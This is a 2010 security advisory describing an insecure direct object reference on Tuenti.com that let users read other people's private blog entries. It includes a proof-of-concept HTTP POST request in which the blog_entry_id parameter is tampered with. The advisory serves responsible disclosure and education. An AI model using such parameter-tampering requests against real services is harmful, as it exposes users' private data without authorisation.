=============================================
INTERNET SECURITY AUDITORS ALERT 2010-008
- Original release date: August 30th, 2010
- Last revised: September 21st, 2010
- Discovered by: Vicente Aguilera Diaz
- Severity: 4/10 (CVSSv2 Base Scored)
=============================================

I. VULNERABILITY
-------------------------
Insecure Direct Object Reference in tuenti.com allow to read of any
message user

II. BACKGROUND
-------------------------
Tuenti.com is a private social platform, which is accessed by
invitation only. Every day millions of people use it to communicate
with each other and share information.

III. DESCRIPTION
-------------------------
Has been detected a insecure direct object reference vulnerability in
Tuenti.com, that allows the reading of any blog entry of any user,
thus accessing to private messages of Tuenti.com users.

The "blog_entry_id" parameter directly refer to a blog entry, so if a
user change the value of this parameter can access to arbitrary blog
entries.

IV. PROOF OF CONCEPT
-------------------------
=== Original request:
POST
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none
HTTP/1.1
Host: wwwb21.tuenti.com
...

blog_entry_id=<blog_entry_id>&csfr=<token>

where:
- <user_id> = id of the authenticated user
- <blog_entry_id> = id of the blog entry requested by the
authenticated user
- <token> = an arbitrary value, to protect against csrf attacks

=== Malicious request:
POST
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none
HTTP/1.1
Host: wwwb21.tuenti.com
...

blog_entry_id=<another_blog_entry_id>&csfr=<token>

where:
- <user_id> = id of the authenticated user
- <another_blog_entry_id> = id of an arbitrary blog entry, posted by
any tuenti user
- <token> = an arbitrary value, to protect against csrf attacks

V. BUSINESS IMPACT
-------------------------
An attacker can read arbitrary blog entries of any tuenti.com user.
This can leverage to access private/sensitive information of
tuenti.com users.

VI. SYSTEMS AFFECTED
-------------------------
Tuenti.com Social network.

VII. SOLUTION
-------------------------
Tuenti already corrected this issue.

VIII. REFERENCES
-------------------------
http://www.tuenti.com
http://www.isecauditors.com

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
August	   30, 2010: Initial release.
September  21, 2010: Last revision.

XI. DISCLOSURE TIMELINE
-------------------------
August    21, 2010: Discovered by Internet Security Auditors
August    31, 2010: Tuenti first contact. No response.
September  2, 2010: Second contact trough other social network.
                    Response from Sec. Team.
September  3, 2010: Advisory sent to Sec. Team.
September  8, 2010: Tuenti confirm the issue was identified due our
                    tests and corrected immediately.
September 21, 2010: Published for education purposes.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and assessing. Our clients include some of the largest
companies in areas such as finance, telecommunications, insurance,
ITC, etc. We are vendor independent provider with a deep expertise
since 2001. Our efforts in R&D include vulnerability research, open
security project collaboration and whitepapers, presentations and
security events participation and promotion. For further information
regarding our security services, contact us.